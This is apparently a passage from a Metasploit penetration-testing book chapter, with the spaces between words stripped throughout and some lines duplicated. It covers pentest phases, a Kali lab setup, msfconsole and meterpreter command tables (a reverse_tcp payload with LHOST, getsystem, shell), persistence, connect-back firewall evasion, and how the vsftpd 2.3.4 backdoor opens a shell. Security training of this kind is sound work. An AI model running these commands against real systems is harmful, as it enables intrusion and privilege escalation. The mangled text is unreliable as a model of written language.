Whataretheobjectives?MapoutvulnerabilitiesDemonstratethatthevulnerabilitiesexistTesttheincidentresponseActualexploitationofavulnerabilityinanetwork,system,orapplicationAlloftheabove

Testingtermsanddefinitions:Thissectiondiscussesbasicterminologieswiththeclientandhelpshimorherunderstandthetermswell.Rulesofengagement:Thissectiondefinesthetimeoftesting,timeline,permissionstoattack,andregularmeetingstoupdatethestatusoftheongoingtest.Thecommonquestionsrelatedtorulesofengagementareasfollows:

Atwhattimedoyouwanttheseteststobeperformed?DuringbusinesshoursAfterbusinesshoursWeekendhoursDuringasystemmaintenancewindow

Willthistestingbedoneonaproductionenvironment?Ifproductionenvironmentsshouldnotbeaffected,doesasimilarenvironment(developmentand/ortestsystems)existthatcanbeusedtoconductthepenetrationtest?

Whoisthetechnicalpointofcontact?

Formoreinformationonpreinteractions,refertohttp://www.pentest-standard.org/index.php/File:Pre-engagement.png.

Intelligencegathering/reconnaissancephaseIntheintelligence-gatheringphase,youneedtogatherasmuchinformationaspossibleaboutthetargetnetwork.Thetargetnetworkcouldbeawebsite,anorganization,ormightbeafull-fledgedFortune500company.ThemostimportantaspectistogatherinformationaboutthetargetfromsocialmedianetworksanduseGoogleHacking(awaytoextractsensitiveinformationfromGoogleusingspecializedqueries)tofindsensitiveinformationrelatedtothetarget.Footprintingtheorganizationusingactiveandpassiveattackscanalsobeanapproach.

Theintelligencephaseisoneofthemostcrucialphasesinpenetrationtesting.Properlygainedknowledgeaboutthetargetwillhelpthetestertostimulateappropriateandexactattacks,ratherthantryingallpossibleattackmechanisms;itwillalsohelphimorhersavealargeamountoftimeaswell.Thisphasewillconsume40to60percentofthetotaltimeofthetesting,asgainingaccesstothetargetdependslargelyuponhowwellthesystemisfootprinted.

Itisthedutyofapenetrationtestertogainadequateknowledgeaboutthetargetbyconductingavarietyofscans,lookingforopenports,identifyingalltheservicesrunningonthoseportsandtodecidewhichservicesarevulnerableandhowtomakeuseofthemtoenterthedesiredsystem.

Theproceduresfollowedduringthisphasearerequiredtoidentifythesecuritypoliciesthatarecurrentlysetinplaceatthetarget,andwhatwecandotobreachthem.

Letusdiscussthisusinganexample.Considerablackboxtestagainstawebserverwheretheclientwantstoperformanetworkstresstest.

Here,wewillbetestingaservertocheckwhatlevelofbandwidthandresourcestresstheservercanbearorinsimpleterms,howtheserverisrespondingtotheDenialofService(DoS)attack.ADoSattackorastresstestisthenamegiventotheprocedureofsendingindefiniterequestsordatatoaserverinordertocheckwhethertheserverisabletohandleandrespondtoalltherequestssuccessfullyorcrashescausingaDoS.ADoScanalsooccurifthetargetserviceisvulnerabletospeciallycraftedrequestsorpackets.Inordertoachievethis,westartournetworkstress-testingtoolandlaunchanattacktowardsatarget

website.However,afterafewsecondsoflaunchingtheattack,weseethattheserverisnotrespondingtoourbrowserandthewebsitedoesnotopen.Additionally,apageshowsupsayingthatthewebsiteiscurrentlyoffline.Sowhatdoesthismean?Didwesuccessfullytakeoutthewebserverwewanted?Nope!Inreality,itisasignofprotectionmechanismsetbytheserveradministratorthatsensedourmaliciousintentoftakingtheserverdown,andhenceresultinginabanofourIPaddress.Therefore,wemustcollectcorrectinformationandidentifyvarioussecurityservicesatthetargetbeforelaunchinganattack.

ThebetterapproachistotestthewebserverfromadifferentIPrange.Maybekeepingtwotothreedifferentvirtualprivateserversfortestingisagoodapproach.Inaddition,Iadviseyoutotestalltheattackvectorsunderavirtualenvironmentbeforelaunchingtheseattackvectorsontotherealtargets.Apropervalidationoftheattackvectorsismandatorybecauseifwedonotvalidatetheattackvectorspriortotheattack,itmaycrashtheserviceatthetarget,whichisnotfavorableatall.Networkstresstestsshouldgenerallybeperformedtowardstheendoftheengagementorinamaintenancewindow.Additionally,itisalwayshelpfultoasktheclientforwhitelistingIPaddressesusedfortesting.

Nowletuslookatthesecondexample.Considerablackboxtestagainstawindows2012server.Whilescanningthetargetserver,wefindthatport80andport8080areopen.Onport80,wefindthelatestversionofInternetInformationServices(IIS)runningwhileonport8080,wediscoverthatthevulnerableversionoftheRejettoHFSServerisrunning,whichispronetotheremotecodeexecution(RCE)flaw.

However,whenwetrytoexploitthisvulnerableversionofHFS,theexploitfails.Thismightbeacommonscenariowhereinboundmalicioustrafficisblockedbythefirewall.

Inthiscase,wecansimplychangeourapproachtoconnectingbackfromtheserver,whichwillestablishaconnectionfromthetargetbacktooursystem,ratherthanusconnectingtotheserverdirectly.Thismayprovetobemoresuccessfulasfirewallsarecommonlybeingconfiguredtoinspectingresstrafficratherthanegresstraffic.

Comingbacktotheproceduresinvolvedintheintelligence-gatheringphasewhenviewedasaprocessareasfollows:

whenviewedasaprocessareasfollows:

Targetselection:Thisinvolvesselectingthetargetstoattack,identifyingthegoalsoftheattack,andthetimeoftheattackCovertgathering:Thisinvolveson-locationgathering,theequipmentinuse,anddumpsterdiving.Inaddition,itcoversoff-sitegatheringthatinvolvesdatawarehouseidentification;thisphaseisgenerallyconsideredduringawhiteboxpenetrationtestFootprinting:Thisinvolvesactiveorpassivescanstoidentifyvarioustechnologiesusedatthetarget,whichincludesportscanning,bannergrabbing,andsoonIdentifyingprotectionmechanisms:Thisinvolvesidentifyingfirewalls,filteringsystems,network-andhost-basedprotections,andsoon

Note

Formoreinformationongatheringintelligence,refertohttp://www.pentest-standard.org/index.php/Intelligence_Gathering.

PredictingthetestgroundsAregularoccurrenceduringpenetrationtesters'livesiswhentheystarttestinganenvironment,theyknowwhattodonext.IftheycomeacrossaWindowsbox,theyswitchtheirapproachtowardstheexploitsthatworkperfectlyforWindowsandleavetherestoftheoptions.AnexampleofthismightbeanexploitfortheNETAPIvulnerability,whichisthemostfavorablechoiceforexploitingaWindowsXPbox.Supposeapenetrationtesterneedstovisitanorganization,andbeforegoingthere,theylearnthat90percentofthemachinesintheorganizationarerunningonWindowsXP,andsomeofthemuseWindows2000Server.ThetesterquicklydecidesthattheywillbeusingtheNETAPIexploitforXP-basedsystemsandtheDCOMexploitforWindows2000ServerfromMetasploittocompletethetestingphasesuccessfully.However,wewillalsoseehowwecanusetheseexploitspracticallyinthelattersectionofthischapter.

ConsideranotherexampleofawhiteboxtestonawebserverwheretheserverishostingASPandASPXpages.Inthiscase,weswitchourapproachtouseWindows-basedexploitsandIIStestingtools,thereforeignoringtheexploitsandtoolsforLinux.

Hence,predictingtheenvironmentunderatesthelpstobuildthestrategyofthetestthatweneedtofollowattheclient'ssite.

Note

FormoreinformationontheNETAPIvulnerability,visithttp://technet.microsoft.com/en-us/security/bulletin/ms08-067.FormoreinformationontheDCOMvulnerability,visithttp://www.rapid7.com/db/modules/exploit/Windows/dcerpc/ms03_026_dcom.

Modelingthreats

Inordertoconductacomprehensivepenetrationtest,threatmodelingisrequired.Thisphasefocusesonmodelingoutcorrectthreats,theireffect,andtheircategorizationbasedontheimpacttheycancause.Basedontheanalysismadeduringtheintelligence-gatheringphase,wecanmodelthebestpossibleattackvectors.Threatmodelingappliestobusinessassetanalysis,processanalysis,threatanalysis,andthreatcapabilityanalysis.Thisphaseanswersthefollowingsetofquestions:

Howcanweattackaparticularnetwork?Towhichcrucialsectionsdoweneedtogainaccess?Whatapproachisbestsuitedfortheattack?Whatarethehighest-ratedthreats?

Modelingthreatswillhelpapenetrationtestertoperformthefollowingsetofoperations:

Gatherrelevantdocumentationabouthigh-levelthreatsIdentifyanorganization'sassetsonacategoricalbasisIdentifyandcategorizethreatsMappingthreatstotheassetsofanorganization

Modelingthreatswillhelptodefinethehighestpriorityassetswiththreatsthatcaninfluencetheseassets.

Now,letusdiscussathirdexample.Considerablackboxtestagainstacompany'swebsite.Here,informationaboutthecompany'sclientsistheprimaryasset.Itisalsopossiblethatinadifferentdatabaseonthesamebackend,transactionrecordsarealsostored.Inthiscase,anattackercanusethethreatofaSQLinjectiontostepovertothetransactionrecordsdatabase.Hence,transactionrecordsarethesecondaryasset.MappingaSQLinjectionattacktoprimaryandsecondaryassetsisachievableduringthisphase.

VulnerabilityscannerssuchasNexposeandtheProversionofMetasploitcanhelpmodelthreatsclearlyandquicklyusingtheautomatedapproach.Thiscanprovetobehandywhileconductinglargetests.

Note

Formoreinformationontheprocessesinvolvedduringthethreatmodelingphase,refertohttp://www.pentest-standard.org/index.php/Threat_Modeling.

Vulnerabilityanalysis

Vulnerabilityanalysisistheprocessofdiscoveringflawsinasystemoranapplication.Theseflawscanvaryfromaservertowebapplication,aninsecureapplicationdesignforvulnerabledatabaseservices,andaVOIP-basedservertoSCADA-basedservices.Thisphasegenerallycontainsthreedifferentmechanisms,whicharetesting,validation,andresearch.Testingconsistsofactiveandpassivetests.Validationconsistsofdroppingthefalsepositivesandconfirmingtheexistenceofvulnerabilitiesthroughmanualvalidations.Researchreferstoverifyingavulnerabilitythatisfoundandtriggeringittoconfirmitsexistence.

Note

Formoreinformationontheprocessesinvolvedduringthethreat-modelingphase,refertohttp://www.pentest-standard.org/index.php/Vulnerability_Analysis.

Exploitationandpost-exploitation

Theexploitationphaseinvolvestakingadvantageofthepreviouslydiscoveredvulnerabilities.Thisphaseisconsideredastheactualattackphase.Inthisphase,apenetrationtesterfiresupexploitsatthetargetvulnerabilitiesofasysteminordertogainaccess.Thisphaseiscoveredheavilythroughoutthebook.

Thepost-exploitationphaseisthelatterphaseofexploitation.Thisphasecoversvarioustasksthatwecanperformonanexploitedsystem,suchaselevatingprivileges,uploading/downloadingfiles,pivoting,andsoon.

Note

Formoreinformationontheprocessesinvolvedduringtheexploitationphase,refertohttp://www.pentest-standard.org/index.php/Exploitation.Formoreinformationonpostexploitation,refertohttp://www.pentest-standard.org/index.php/Post_Exploitation.

Reporting

Creatingaformalreportoftheentirepenetrationtestisthelastphasetoconductwhilecarryingoutapenetrationtest.Identifyingkeyvulnerabilities,creatingchartsandgraphs,recommendations,andproposedfixesareavitalpartofthepenetrationtestreport.Anentiresectiondedicatedtoreportingiscoveredinthelatterhalfofthisbook.

Note

Formoreinformationontheprocessesinvolvedduringthethreatmodelingphase,refertohttp://www.pentest-standard.org/index.php/Reporting.

Mountingtheenvironment

Beforegoingtoawar,thesoldiersmustmakesurethattheirartilleryisworkingperfectly.Thisisexactlywhatwearegoingtofollow.Testinganenvironmentsuccessfullydependsonhowwellyourtestlabsareconfigured.Moreover,asuccessfultestanswersthefollowingsetofquestions:

Howwellisyourtestlabconfigured?Arealltherequiredtoolsfortestingavailable?Howgoodisyourhardwaretosupportsuchtools?

Beforewebegintotestanything,wemustmakesurethatalltherequiredsetoftoolsareavailableandthateverythingworksperfectly.

SettingupKaliLinuxinvirtualenvironmentBeforeusingMetasploit,weneedtohaveatestlab.Thebestideaforsettingupatestlabistogatherdifferentmachinesandinstalldifferentoperatingsystemsonthem.However,ifweonlyhaveasinglemachine,thebestideaistosetupavirtualenvironment.

Virtualizationplaysanimportantroleinpenetrationtestingtoday.Duetothehighcostofhardware,virtualizationplaysacost-effectiveroleinpenetrationtesting.Emulatingdifferentoperatingsystemsunderthehostoperatingsystemnotonlysavesyoumoneybutalsocutsdownonelectricityandspace.However,settingupavirtualpenetrationtestlabpreventsanymodificationsontheactualhostsystemandallowsustoperformoperationsonanisolatedenvironment.Avirtualnetworkallowsnetworkexploitationtorunonanisolatednetwork,thuspreventinganymodificationsortheuseofnetworkhardwareofthehostsystem.

Moreover,thesnapshotfeatureofvirtualizationhelpspreservethestateofthevirtualmachineataparticularpointintime.Thisprovestobeveryhelpful,aswecancompareorreloadapreviousstateoftheoperatingsystemwhiletestingavirtualenvironmentwithoutreinstallingtheentiresoftwareincasethefilesaremodifiedafterattacksimulation.Virtualizationexpectsthehostsystemtohaveenoughhardwareresources,suchasRAM,processingcapabilities,drivespace,andsoon,torunsmoothly.

Note

Formoreinformationonsnapshots,refertohttps://www.virtualbox.org/manual/ch01.html#snapshots.

So,letusseehowwecancreateavirtualenvironmentwiththeKalioperatingsystem(themostfavoredoperatingsystemforpenetrationtesting,whichcontainstheMetasploitframeworkbydefault).

Tip

Youcanalwaysdownloadpre-builtVMwareandVirtualBoximagesforKaliLinuxhere:https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

Inordertocreatevirtualenvironments,weneedvirtualmachinesoftware.Wecanuseanyonebetweentwoofthemostpopularones:VirtualBoxandVMwareplayer.So,letusbeginwiththeinstallationbyperformingthefollowingsteps:

1. DownloadtheVirtualBox(http://www.virtualbox.org/wiki/Downloads)setupforyourmachine'sarchitecture.

2. Runthesetupandfinalizetheinstallation.3. Now,aftertheinstallation,runtheVirtualBoxprogram,asshowninthe

followingscreenshot:

4. TypeanappropriatenameintheNamefieldandselecttheoperatingsystemtypeandVersion,asfollows:

5. Now,toinstallanewoperatingsystem,selectNew.ForKaliLinux,selectOperatingSystemasLinuxandVersionasLinux2.6/3.x/4.x

Thismaylooksimilartowhatisshowninthefollowingscreenshot:

6. Selecttheamountofsystemmemorytoallocate,typically1GBforKaliLinux.

7. Thenextstepistocreateavirtualdiskthatwillserveasaharddrivetothevirtualoperatingsystem.Createthediskasadynamicallyallocateddisk.Choosingthisoptionwillconsumejustenoughspacetofitthevirtualoperatingsystemratherthanconsumingtheentirechunkofphysicalharddiskofthehostsystem.

8. Thenextstepistoallocatethesizeforthedisk;typically,10GBofspaceisenough.

9. Now,proceedtocreatethedisk,andafterreviewingthesummary,clickon

Create.10. Now,clickonStarttorun.Fortheveryfirsttime,awindowwillpopup

showingtheselectionprocessforstartupdisk.ProceedwithitbyclickingStartafterbrowsingthesystempathforKali's.isofilefromtheharddisk.Thisprocessmaylooksimilartowhatisshowninthefollowingscreenshot:

YoucanrunKaliLinuxinLivemodeoryoucanoptforGraphicalInstall/Installtoinstallitpersistently,asshowninthefollowingscreenshot:

Note

ForthecompletepersistentinstallguideonKaliLinux,refertohttp://docs.kali.org/category/installation.ToinstallMetasploitthroughcommandlineinLinux,refertohttp://www.darkoperator.com/installing-metasploit-in-ubunt/.ToinstallMetasploitonWindows,refertoanexcellentguidehttps://community.rapid7.com/servlet/JiveServlet/downloadBody/2099-102-11-6553/windows-installation-guide.pdf.

ThefundamentalsofMetasploitNowthatwehaverecalledthebasicphasesofapenetrationtestandcompletedthesetupofKaliLinux,letustalkaboutthebigpicture:Metasploit.Metasploitisasecurityprojectthatprovidesexploitsandtonsofreconnaissancefeaturestoaidthepenetrationtester.MetasploitwascreatedbyH.D.Moorebackin2003,andsincethen,itsrapiddevelopmenthasleadittoberecognizedasoneofthemostpopularpenetrationtestingtools.MetasploitisentirelyaRuby-drivenprojectandoffersagreatdealofexploits,payloads,encodingtechniques,andloadsofpost-exploitationfeatures.

Metasploitcomesinvariousdifferenteditions,asfollows:

MetasploitPro:Thiseditionisacommercialedition,offeringtonsofgreatfeatures,suchaswebapplicationscanning,AVevasionandautomatedexploitation,andisquitesuitableforprofessionalpenetrationtestersandITsecurityteams.TheProeditionisgenerallyusedforadvancedpenetrationtestsandenterprisesecurityprograms.MetasploitExpress:TheExpresseditionisusedforbaselinepenetrationtests.FeaturesinthiseditionofMetasploitincludesmartexploitation,automatedbruteforcingofthecredentials,andmuchmore.ThiseditionisquitesuitableforITsecurityteamsinsmalltomediumsizecompanies.MetasploitCommunity:ThisisafreeeditionwithreducedfunctionalitiesoftheExpressedition.However,forstudentsandsmallbusinesses,thiseditionisafavorablechoice.MetasploitFramework:Thisisacommand-lineeditionwithallthemanualtasks,suchasmanualexploitation,third-partyimport,andsoon.Thiseditionissuitablefordevelopersandsecurityresearchers.

Throughoutthisbook,wewillbeusingtheMetasploitCommunityandFrameworkeditions.Metasploitalsooffersvarioustypesofuserinterfaces,asfollows:

TheGUIinterface:Thegraphicaluserinterface(GUI)hasalltheoptionsavailableattheclickofabutton.Thisinterfaceoffersauser-friendlyinterfacethathelpstoprovideacleanervulnerabilitymanagement.Theconsoleinterface:Thisisthepreferredinterfaceandthemostpopularoneaswell.Thisinterfaceprovidesanall-in-oneapproachtoalltheoptions

offeredbyMetasploit.Thisinterfaceisalsoconsideredoneofthemoststableinterfaces.Throughoutthisbook,wewillbeusingtheconsoleinterfacethemost.Thecommand-lineinterface:Thecommand-lineinterfaceisthemostpowerfulinterface.Itsupportsthelaunchingofexploitstoactivitiessuchaspayloadgeneration.However,rememberingeachandeverycommandwhileusingthecommand-lineinterfaceisadifficultjob.Armitage:ArmitagebyRaphaelMudgeaddedacoolhacker-styleGUIinterfacetoMetasploit.Armitageofferseasyvulnerabilitymanagement,built-inNMAPscans,exploitrecommendations,andtheabilitytoautomatefeaturesusingtheCortanascriptinglanguage.AnentirechapterisdedicatedtoArmitageandCortanainthelatterhalfofthisbook.

Note

FormoreinformationontheMetasploitcommunity,refertohttps://community.rapid7.com/community/metasploit/blog/2011/12/21/metasploit-tutorial-an-introduction-to-metasploit-community.

ConductingapenetrationtestwithMetasploitAftersettingupKaliLinux,wearenowreadytoperformourfirstpenetrationtestwithMetasploit.However,beforewestartthetest,letusrecallsomeofthebasicfunctionsandterminologiesusedintheMetasploitframework.

RecallingthebasicsofMetasploit

AfterwerunMetasploit,wecanlistalltheworkablecommandsavailableintheframeworkbytypinghelpinMetasploitconsole.LetusrecallthebasictermsusedinMetasploit,whichareasfollows:

Exploits:Thisisapieceofcodethat,whenexecuted,willexploitthevulnerabilityonthetarget.Payload:Thisisapieceofcodethatrunsatthetargetafterasuccessfulexploitationisdone.Itdefinestheactionswewanttoperformonthetargetsystem.Auxiliary:Thesearemodulesthatprovideadditionalfunctionalitiessuchasscanning,fuzzing,sniffing,andmuchmore.Encoders:Encodersareusedtoobfuscatemodulestoavoiddetectionbyaprotectionmechanismsuchasanantivirusorafirewall.Meterpreter:Meterpreterisapayloadthatusesin-memoryDLLinjectionstagers.Itprovidesavarietyoffunctionstoperformatthetarget,whichmakesitapopularpayloadchoice.

LetusnowrecallsomeofthebasiccommandsofMetasploitthatwewilluseinthischapter.Letusseewhattheyaresupposedtodo:

Command Usage Example

use[Auxiliary/Exploit/Payload/Encoder]

Toselectaparticularmoduletostartworkingwith

msf>use

exploit/unix/ftp/vsftpd_234_backdoor

msf>use

auxiliary/scanner/portscan/tcp

show

[exploits/payloads/encoder/auxiliary/options]

Toseethelistofavailablemodulesofaparticulartype

msf>showpayloads

msf>showoptions

set[options/payload]Tosetavaluetoaparticularobject

msf>setpayload

windows/meterpreter/reverse_tcp

msf>setLHOST192.168.10.118

msf>setRHOST192.168.10.112

msf>setLPORT4444

msf>setRPORT8080

setg[options/payload]

Tosetavaluetoaparticularobjectgloballysothevaluesdonotchangewhenamoduleisswitchedon

msf>setgRHOST192.168.10.112

run

Tolaunchanauxiliarymoduleafteralltherequiredoptionsareset

msf>run

exploit Tolaunchanexploit msf>exploit

backTounselectamoduleandmoveback

msf(ms08_067_netapi)>back

msf>

info

Tolisttheinformationrelatedtoaparticularexploit/module/auxiliary

msf>info

exploit/windows/smb/ms08_067_netapi

msf(ms08_067_netapi)>info

searchTofindaparticularmodule

msf>searchhfs

check

Tocheckwhetheraparticulartargetisvulnerabletotheexploitornot

msf>check

sessionsTolisttheavailablesessions

msf>sessions[sessionnumber]

Followingarethemeterpretercommands:

MeterpreterCommands Usage Example

sysinfo Tolistsysteminformationofthecompromisedhost meterpreter>sysinfo

ifconfig Tolistthenetworkinterfacesonthecompromisedhost

meterpreter>ifconfig

meterpreter>ipconfig

(Windows)

ArpListofIPandMACaddressesofhostsconnectedtothetarget

meterpreter>arp

background Tosendanactivesessiontobackground meterpreter>background

shell Todropacmdshellonthetarget meterpreter>shell

getuid Togetthecurrentuserdetails meterpreter>getuid

getsystem ToescalateprivilegesandgainSYSTEMaccess meterpreter>getsystem

getpid TogaintheprocessIDofthemeterpreteraccess meterpreter>getpid

ps Tolistalltheprocessesrunningonthetarget meterpreter>ps

Note

IfyouareusingMetasploitfortheveryfirsttime,refertohttp://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commandsformoreinformationonbasiccommands.

BenefitsofpenetrationtestingusingMetasploitBeforewejumpintoanexamplepenetrationtest,wemustknowwhywepreferMetasploittomanualexploitationtechniques.Isthisbecauseofahacker-liketerminalthatgivesaprolook,oristhereadifferentreason?Metasploitisapreferablechoicewhencomparedtotraditionalmanualtechniquesbecauseofcertainfactorsthatarediscussedinthefollowingsections.

Opensource

OneofthetopreasonswhyoneshouldgowithMetasploitisbecauseitisopensourceandactivelydeveloped.Variousotherhighlypaidtoolsexistforcarryingoutpenetrationtesting.However,Metasploitallowsitsuserstoaccessitssourcecodeandaddtheircustommodules.TheProversionofMetasploitischargeable,butforthesakeoflearning,thecommunityeditionismostlypreferred.

Supportfortestinglargenetworksandeasynamingconventions

ItiseasytouseMetasploit.However,here,easeofusereferstoeasynamingconventionsofthecommands.Metasploitoffersgreateasewhileconductingalargenetworkpenetrationtest.Considerascenariowhereweneedtotestanetworkwith200systems.Insteadoftestingeachsystemoneaftertheother,Metasploitofferstotesttheentirerangeautomatically.UsingparameterssuchassubnetandClasslessInterDomainRouting(CIDR)values,Metasploittestsallthesystemsinordertoexploitthevulnerability,whereasinamanualexploitationprocess,wemightneedtolaunchtheexploitsmanuallyonto200systems.Therefore,Metasploitsavesanlargeamountoftimeandenergy.

Smartpayloadgenerationandswitchingmechanism

Mostimportantly,switchingbetweenpayloadsinMetasploitiseasy.Metasploitprovidesquickaccesstochangepayloadsusingthesetpayloadcommand.Therefore,changingthemeterpreterorashell-basedaccessintoamorespecificoperation,suchasaddingauserandgettingtheremotedesktopaccess,becomeseasy.Generatingshellcodetouseinmanualexploitsalsobecomeseasybyusingthemsfvenomapplicationfromthecommandline.

Cleanerexits

Metasploitisalsoresponsibleformakingamuchcleanerexitfromthesystemsithascompromised.Acustom-codedexploit,ontheotherhand,cancrashthesystemwhileexitingitsoperations.Thisisreallyanimportantfactorincaseswhereweknowthattheservicewillnotrestartimmediately.

Considerascenariowherewehavecompromisedawebserverandwhileweweremakinganexit,theexploitedapplicationcrashes.Thescheduledmaintenancetimefortheserverisleftoverwith50daystime.So,whatdowedo?Shallwewaitforthenext50odddaysfortheservicetocomeupagain,sothatwecanexploititagain?Moreover,whatiftheservicecomesbackafterbeingpatched?Wecouldonlyendupkickingourselves.Thisalsoshowsaclearsignofpoorpenetrationtestingskills.Therefore,abetterapproachwouldbetousetheMetasploitframework,whichisknownformakingmuchcleanerexits,aswellasofferingtonsofpost-exploitationfunctions,suchaspersistence,thatcanhelpmaintainpermanentaccesstotheserver.

TheGUIenvironment

MetasploitoffersfriendlyGUIandthird-partyinterfaces,suchasArmitage.Theseinterfacestendtoeasethepenetrationtestingprojectsbyofferingservicessuchaseasy-to-switchworkspaces,vulnerabilitymanagementonthefly,andfunctionsataclickofabutton.Wewilldiscusstheseenvironmentsmoreinthelatterchaptersofthisbook.

PenetrationtestinganunknownnetworkRecallingthebasicsofMetasploit,weareallsettoperformourfirstpenetrationtestwithMetasploit.WewilltestanIPaddresshereandtrytofindrelevantinformationaboutthetargetIPandwilltrytobreakdeeperintothenetworkasmuchaswecan.Wewillfollowalltherequiredphasesofapenetrationtesthere,whichwediscussedintheearlierpartofthischapter.

Assumptions

Consideringablackboxpenetrationtestonanunknownnetwork,wecanassumethatwearedonewiththepreinteractionsphase.WearegoingtotestasingleIPaddressinthescopeofthetest,withzeroknowledgeofthetechnologiesrunningonthetarget.WeareperformingthetestwithKaliLinux,apopularsecurity-basedLinuxdistribution,whichcomeswithtonsofpreinstalledsecuritytools.

Note

Forthesakeforlearning,weareusingtwoinstancesofMetasploitable2andasingleinstanceofWindowsServer2012inthedemo.

Gatheringintelligence

Asdiscussedearlier,thegatheringintelligencephaserevolvesaroundgatheringasmuchinformationaspossible,aboutthetarget.Activeandpassivescans,whichincludeportscanning,bannergrabbing,andvariousotherscans,dependsuponthetypeoftargetthatisundertest.ThetargetunderthecurrentscenarioisasingleIPaddress.Sohere,wecanskipgatheringpassiveinformationandcancontinuewiththeactiveinformation-gatheringmethodology.

Let'sstartwiththeinternalfootprintingphase,whichincludesportscanning,bannergrabbing,pingscanstocheckwhetherthesystemisliveornot,andservicedetectionscans.

Toconductinternalfootprinting,NMAPprovesasoneofthefinestavailabletools.ReportsgeneratedbyNMAPcanbeeasilyimportedintoMetasploit.Metasploithasinbuiltdatabasefunctionalities,whichcanbeusedtoperformNMAPscansfromwithintheMetasploitframeworkconsoleandstoretheresultsinthedatabase.

Note

Refertohttps://nmap.org/bennieston-tutorial/formoreinformationonNMAPscans.RefertoanexcellentbookonNMAPathttps://www.packtpub.com/networking-and-servers/nmap-6-network-exploration-and-security-auditing-cookbook.

UsingdatabasesinMetasploitItisalwaysabetterapproachtostoretheresultswhenyouperformpenetrationtesting.Thiswillhelpusbuildaknowledgebaseabouthosts,services,andthevulnerabilitiesinthescopeofapenetrationtest.Inordertoachievethisfunctionality,wecanusedatabasesinMetasploit.ConnectingadatabasetoMetasploitalsospeedsupsearchingandimprovesresponsetime.Thefollowingscreenshotdepictsasearchwhenthedatabaseisnotconnected:

Inordertousedatabases,weneedtostarttheMetasploitdatabaseserviceusingthefollowingcommand:

root@kali:~#servicepostgresqlstart

root@kali:~#msfdbinit

TheservicepostgresqlstartcommandinitializesthePostgreSQLdatabaseserviceandthemsfdbinitcommandinitializesandcreatesthePostgreSQLdatabaseforMetasploit.

Oncethedatabasesarecreatedandinitialized,wecanquicklyfireupMetasploitusingthefollowingcommand:

root@kali:~#msfconsole

ThiscommandwillfireupMetasploit,asshowninthefollowingscreenshot:

Tofindoutthestatusofthedatabases,wecanusethefollowingcommand:

msf>db_status

Theprecedingcommandwillcheckwhetherthedatabaseisconnectedandisreadytostorethescanresultsornot.Wecanseeintheprecedingscreenshotthatthedatabaseisconnectedanditwillstorealltheresults.

Next,ifwewanttoconnecttoadatabaseotherthanthedefaultone,wecanchangethedatabaseusingthefollowingcommand:

db_connect

Typingtheprecedingcommandwilldisplayitsusagemethods,aswecanseeinthefollowingscreenshot:

Inordertoconnecttoadatabase,weneedtosupplyausername,password,andaportwiththedatabasenamealongwiththedb_connectcommand.

Letusseewhatothercoredatabasecommandsaresupposedtodo.Thefollowingtablewillhelpusunderstandthesedatabasecommands:

Command Usageinformation

db_connect Thiscommandisusedtointeractwithdatabasesotherthanthedefaultone

db_exportThiscommandisusedtoexporttheentiresetofdatastoredinthedatabaseforthesakeofcreatingreportsorasaninputtoanothertool

db_nmapThiscommandisusedforscanningthetargetwithNMAP,andstoringtheresultsintheMetasploitdatabase

db_status Thiscommandisusedtocheckwhetherthedatabaseconnectivityispresentornot

db_disconnect Thiscommandisusedtodisconnectfromaparticulardatabase

db_importThiscommandisusedtoimportresultsfromothertoolssuchasNessus,NMAP,andsoon

db_rebuild_cacheThiscommandisusedtorebuildthecacheiftheearliercachegetscorruptedorisstoredwitholderresults

Nowthatwehaveseenthedatabasecommands,letusmovefurtherandperform

Nowthatwehaveseenthedatabasecommands,letusmovefurtherandperformanNMAPscanonthetarget:

Intheprecedingscreenshot,usingdb_nmapwillautomaticallystorealltheresultsintheMetasploitdatabase.Inthecommandatthetopoftheprecedingscreenshot,the-sVswitchdenotesaservicescanfromNMAPonthetarget,whilethe-pswitchdenotestheportnumberstobeincludedinthescan.

WecanseethattherearenumerousopenportsonthetargetIPaddress.Letuslisttheservicesrunningonportsusingservicescommandasfollows:

Wecanseethatwehavenumerousservicesrunningonthetarget.Letusfilterthecurrentlyrunningservicesusingtheservices-ucommandasfollows:

Wecanalwayslistallthehostsinthedatabaseusinghostscommandasfollows:

Note

Formoreinformationondatabases,refertohttps://www.offensive-security.com/metasploit-unleashed/using-databases/

ModelingthreatsFromtheintelligencegatheringphase,wecanseethattherearenumerousservicesrunningonthetarget.HostsinformationalsorevealsthatthetargetoperatingsystemisLinux-based.LetussearchforoneofthevulnerabilitieswithinMetasploitandtrytofindthematchingexploitmodule:

WecanseethatwealreadyhaveamoduleinMetasploitthattargetsthevulnerableservicefound.Afterexploringthedetailsathttp://www.securityfocus.com/bid/48539/discussandhttp://scarybeastsecurity.blogspot.in/2011/07/alert-vsftpd-download-backdoored.html,wecaneasilyfigureoutthatthevulnerabilitywasintentionallyputintothesoftwareandwascarryingabackdoorthatcanbetriggeredremotelyonthevulnerablesystem.

VulnerabilityanalysisofVSFTPD2.3.4backdoorAftermodelingthreats,letusloadthematchingmoduleintoMetasploitusingtheuseexploit/unix/ftp/vsftpd_234_backdoorcommandandanalyzethevulnerabilitydetailsusinginfocommandasfollows:

Wecanseethatthevulnerabilitywasallegedlyaddedtothevsftpdarchivebetweenthedatesmentionedinthedescriptionofthemodule.

Theattackprocedure

TheconceptoftheattackonVSFTPD2.3.4istotriggerthemaliciousvsf_sysutil_extra();functionbysendingasequenceofspecificbytesonport21,which,onsuccessfulexecution,resultsinopeningthebackdooronport6200ofthesystem.

Theprocedureofexploitingthevulnerability

Thefollowingscreenshotofthevulnerablesourcecodewillmakethingsmuchclearer:

Wecanclearlyseethatifthebytesinthenetworkbuffermatchthebackdoorsequenceof0x3a(colon)and0x29,themaliciousfunctionistriggered.Furthermore,isweexplorethedetailsofthemaliciousfunction,wecanseethefollowingfunctiondefinitionforthemaliciousfunction:

sa.sin_port=6200servesasthebackdoorportandallthecommandssenttotheservicegetexecutedusingtheexecl("/bin/sh","sh",(char*)0);function.

Note

Detailsabouttheexploitmodulecanbefoundathttps://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/.

Exploitationandpostexploitation

Aftergainingenoughknowledgeaboutthevulnerability,letusnowexploitthetargetsystem.Letusseewhatoptionsweneedtosetbeforefiringtheexploitontothetarget.Wecandothisbyrunningtheshowoptionscommand,asshownfollowing:

Wecanseethatwehaveonlytwooptions,whichareRHOSTandRPORT.WesetRHOSTastheIPaddressofthetargetandRPORTas21,whichistheportofthevulnerableFTPserver.

